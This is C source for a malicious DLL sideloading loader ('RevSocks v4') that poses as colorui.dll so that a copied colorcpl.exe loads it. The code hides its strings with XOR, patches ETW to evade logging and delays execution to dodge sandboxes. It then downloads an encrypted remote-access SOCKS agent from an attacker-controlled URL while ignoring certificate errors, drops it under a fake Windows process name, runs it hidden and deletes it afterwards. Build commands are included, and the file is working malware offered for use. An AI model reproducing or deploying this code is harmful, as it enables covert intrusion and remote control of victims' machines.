/*
 * sideload_dll.c — RevSocks v4 DLL Sideload for colorcpl.exe
 *
 * Place as colorui.dll next to colorcpl.exe (C:\Windows\System32\colorcpl.exe
 * copied to a user-writable directory). When colorcpl.exe loads, it imports
 * this DLL which downloads, decrypts, and executes the SOCKS agent.
 *
 * Improvements over v3:
 *   - All exported functions match the real colorui.dll import table
 *   - DllMain starts a worker thread (no blocking DllMain)
 *   - Dynamic API resolution for all WinInet + Kernel32 calls
 *   - ETW patching before download
 *   - Mutex to prevent multiple instances
 *   - All string literals XOR encrypted with build-configurable key
 *   - Random temp filename from expanded name pool
 *   - Execution via cmd.exe /c start /b (indirect process creation)
 *   - Post-execution cleanup: delete dropped file after delay
 *
 * Compile as DLL:
 *   x86_64-w64-mingw32-gcc -shared -O2 -s sideload_dll.c -o colorui.dll -lwininet
 *
 * Exported functions (match real colorui.dll):
 *   LaunchColorCpl, ClrAdaptAccess, ClrMatchProfile, ClrProfAddPage, ClrProfGetDisp
 */

#include <windows.h>
#include <wininet.h>
#include <string.h>
#include <tlhelp32.h>
#pragma comment(lib, "wininet.lib")

/* ---------- string XOR key (patched per build by rebuild.sh) ---------- */
#define SK 0x44

/* ---------- XOR decrypt helper ---------- */
static void xd(char *s, int l) {
    for (int i = 0; i < l; i++)
        s[i] ^= SK;
}

/* ---------- XOR-encrypted strings (decoded at runtime) ----------
 *
 * All strings are XOR'd with SK (0x44). rebuild.sh regenerates these
 * arrays with the build-specific URL and XOR key.
 *
 * enc_url:  "https://CHANGEME_IP:443/dl/CHANGEME_TOKEN/agent.enc"
 * enc_wini: "wininet.dll"
 * enc_ntd:  "ntdll.dll"
 * enc_k32:  "kernel32.dll"
 */

/* Placeholder URL — rebuild.sh replaces this entire array */
static char enc_url[] = {
    0x3c, 0x30, 0x30, 0x2a, 0x37, 0x60, 0x31, 0x31,  /* "https://" xor 0x44 */
    0x00  /* rebuild.sh patches */
};
static int enc_url_len = 0; /* patched by rebuild.sh */

/* "wininet.dll" ^ 0x44 */
static char enc_wini[] = {
    0x33, 0x2d, 0x2a, 0x2d, 0x2a, 0x21, 0x30, 0x28, 0x20, 0x28, 0x28, 0x00
};
static int enc_wini_len = 11;

/* "ntdll.dll" ^ 0x44 */
static char enc_ntd[] = {
    0x2a, 0x30, 0x20, 0x28, 0x28, 0x2a, 0x20, 0x28, 0x28, 0x00
};
static int enc_ntd_len = 9;

/* "kernel32.dll" ^ 0x44 */
static char enc_k32[] = {
    0x2f, 0x21, 0x36, 0x2a, 0x21, 0x28, 0x77, 0x76, 0x2a, 0x20, 0x28, 0x28, 0x00
};
static int enc_k32_len = 12;

/* ---------- Payload XOR key for decryption (32 bytes, patched per build) ---------- */
static volatile unsigned char xor_key[32] = {
    0xde,0xad,0xbe,0xef,0xca,0xfe,0xba,0xbe,
    0x13,0x37,0x42,0x69,0xaa,0xbb,0xcc,0xdd,
    0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,
    0x99,0x00,0xab,0xcd,0xef,0x12,0x34,0x56
};

/* ---------- Dynamic API typedefs ---------- */

typedef LPVOID  (WINAPI *tVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL    (WINAPI *tVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL    (WINAPI *tVirtualFree)(LPVOID, SIZE_T, DWORD);
typedef HINTERNET (WINAPI *tInternetOpenA)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
typedef HINTERNET (WINAPI *tInternetOpenUrlA)(HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR);
typedef BOOL    (WINAPI *tInternetReadFile)(HINTERNET, LPVOID, DWORD, LPDWORD);
typedef BOOL    (WINAPI *tInternetCloseHandle)(HINTERNET);
typedef BOOL    (WINAPI *tInternetSetOptionA)(HINTERNET, DWORD, LPVOID, DWORD);

typedef struct {
    tVirtualAlloc           va;
    tVirtualProtect         vp;
    tVirtualFree            vf;
    tInternetOpenA          io;
    tInternetOpenUrlA       iou;
    tInternetReadFile       irf;
    tInternetCloseHandle    ich;
    tInternetSetOptionA     iso;
} RESOLVED_API;

/* ---------- Resolve APIs dynamically ---------- */

static int POLY_resolve_api(RESOLVED_API *a) {
    /* Decode "kernel32.dll" */
    xd(enc_k32, enc_k32_len);
    HMODULE hK32 = GetModuleHandleA(enc_k32);

    /* Decode and load "wininet.dll" */
    xd(enc_wini, enc_wini_len);
    Sleep(137 + (GetTickCount() % 200));  /* timing jitter */
    HMODULE hWini = LoadLibraryA(enc_wini);

    if (!hK32 || !hWini) return -1;

    a->va  = (tVirtualAlloc)GetProcAddress(hK32, "VirtualAlloc");
    a->vp  = (tVirtualProtect)GetProcAddress(hK32, "VirtualProtect");
    a->vf  = (tVirtualFree)GetProcAddress(hK32, "VirtualFree");
    a->io  = (tInternetOpenA)GetProcAddress(hWini, "InternetOpenA");
    a->iou = (tInternetOpenUrlA)GetProcAddress(hWini, "InternetOpenUrlA");
    a->irf = (tInternetReadFile)GetProcAddress(hWini, "InternetReadFile");
    a->ich = (tInternetCloseHandle)GetProcAddress(hWini, "InternetCloseHandle");
    a->iso = (tInternetSetOptionA)GetProcAddress(hWini, "InternetSetOptionA");

    if (!a->va || !a->io || !a->iou || !a->irf || !a->ich)
        return -1;

    return 0;
}

/* ---------- Patch ETW ---------- */

static void POLY_patch_etw(RESOLVED_API *a) {
    xd(enc_ntd, enc_ntd_len);
    HMODULE hNtdll = GetModuleHandleA(enc_ntd);
    if (!hNtdll) return;

    FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtw) return;

    unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; /* xor rax,rax; ret */
    DWORD old;
    if (a->vp) {
        a->vp((LPVOID)pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
        memcpy((LPVOID)pEtw, patch, sizeof(patch));
        a->vp((LPVOID)pEtw, sizeof(patch), old, &old);
    }
}

/* ---------- Random temp filename ---------- */

static void POLY_random_name(char *buf) {
    DWORD t = GetTickCount();
    const char *names[] = {
        "RuntimeBroker",  "SearchProtocol",  "MusNotify",
        "SecurityHealth", "TaskHostW",        "WmiApSrv",
        "CompPkgSrv",     "dllhost",          "fontdrvhost",
        "sihost",          "ctfmon",           "LsaIso"
    };
    int idx = t % 12;
    const char *n = names[idx];
    int i = 0;
    while (n[i]) { buf[i] = n[i]; i++; }
    buf[i] = '.'; buf[i+1] = 'e'; buf[i+2] = 'x'; buf[i+3] = 'e'; buf[i+4] = 0;
}

/* ---------- Worker thread (main logic) ---------- */

static DWORD WINAPI POLY_worker(LPVOID param) {
    /* Initial delay — avoid DllMain race and sandbox fast-scan */
    Sleep(1500 + (GetTickCount() % 2000));

    /* Resolve all APIs dynamically */
    RESOLVED_API api;
    memset(&api, 0, sizeof(api));
    if (POLY_resolve_api(&api) != 0)
        return 1;

    /* Patch ETW before any network activity */
    POLY_patch_etw(&api);

    /* Decode URL */
    xd(enc_url, enc_url_len);

    /* Download encrypted agent */
    HINTERNET hInet = api.io(
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInet) return 1;

    /* INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD |
       INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
       INTERNET_FLAG_IGNORE_CERT_DATE_INVALID */
    DWORD flags = 0x84803000;
    HINTERNET hUrl = api.iou(hInet, enc_url, NULL, 0, flags, 0);
    if (!hUrl) { api.ich(hInet); return 1; }

    /* Ignore TLS cert errors */
    if (api.iso) {
        DWORD secFlags = 0x00003380;
        api.iso(hUrl, 31, &secFlags, sizeof(secFlags));
    }

    /* Allocate download buffer */
    BYTE *buf = (BYTE *)api.va(NULL, 512 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buf) { api.ich(hUrl); api.ich(hInet); return 1; }

    DWORD total = 0, rd = 0;
    while (api.irf(hUrl, buf + total, 8192, &rd) && rd > 0) {
        total += rd;
        if (total > 500 * 1024) break;
    }
    api.ich(hUrl);
    api.ich(hInet);

    if (total < 100) {
        api.vf(buf, 0, MEM_RELEASE);
        return 1;
    }

    /* XOR decrypt payload to get agent.exe */
    for (DWORD i = 0; i < total; i++)
        buf[i] ^= xor_key[i % 32];

    /* Write to temp directory with random name */
    char tmp[MAX_PATH], exe[MAX_PATH], fname[64];
    GetTempPathA(MAX_PATH, tmp);
    POLY_random_name(fname);
    lstrcpyA(exe, tmp);
    lstrcatA(exe, fname);

    HANDLE hFile = CreateFileA(exe, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                               FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        api.vf(buf, 0, MEM_RELEASE);
        return 1;
    }
    DWORD bw;
    WriteFile(hFile, buf, total, &bw, NULL);
    CloseHandle(hFile);

    /* Zero local buffer */
    memset(buf, 0, total);
    api.vf(buf, 0, MEM_RELEASE);

    /* Execute via cmd.exe /c start /b (indirect launch) */
    char cmdline[MAX_PATH + 32];
    lstrcpyA(cmdline, "/c start /b \"\" \"");
    lstrcatA(cmdline, exe);
    lstrcatA(cmdline, "\"");

    STARTUPINFOA si;
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    PROCESS_INFORMATION pi;
    memset(&pi, 0, sizeof(pi));

    char comspec[MAX_PATH];
    GetEnvironmentVariableA("COMSPEC", comspec, MAX_PATH);

    CreateProcessA(comspec, cmdline, NULL, NULL, FALSE,
                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    if (pi.hProcess) {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    /* Wait then attempt cleanup */
    Sleep(8000);
    DeleteFileA(exe);

    return 0;
}

/* ---------- Exported functions (match real colorui.dll) ---------- */

__declspec(dllexport) void LaunchColorCpl(void *a, void *b, void *c, void *d) {
    /* Mutex: prevent duplicate instances (relevant for SYSTEM context) */
    HANDLE hMutex = CreateMutexA(NULL, TRUE, "Global\\WinCC_SVC_v4");
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        if (hMutex) CloseHandle(hMutex);
        Sleep(INFINITE);
        return;
    }

    /* Start worker thread */
    HANDLE hThread = CreateThread(NULL, 0, POLY_worker, NULL, 0, NULL);
    if (hThread)
        WaitForSingleObject(hThread, INFINITE);
}

__declspec(dllexport) void ClrAdaptAccess(void)  { Sleep(1); }
__declspec(dllexport) void ClrMatchProfile(void) { Sleep(1); }
__declspec(dllexport) void ClrProfAddPage(void)  { Sleep(1); }
__declspec(dllexport) void ClrProfGetDisp(void)  { Sleep(1); }

/* ---------- DLL entry point ---------- */

BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD fdwReason, LPVOID lpReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hInstDLL);
            /* Auto-start worker if loaded via colorcpl.exe */
            {
                char modName[MAX_PATH];
                GetModuleFileNameA(NULL, modName, MAX_PATH);
                /* Check if host process is colorcpl.exe */
                if (strstr(modName, "colorcpl") || strstr(modName, "ColorCpl")) {
                    HANDLE hThread = CreateThread(NULL, 0, POLY_worker, NULL, 0, NULL);
                    if (hThread) CloseHandle(hThread); /* fire and forget */
                }
            }
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
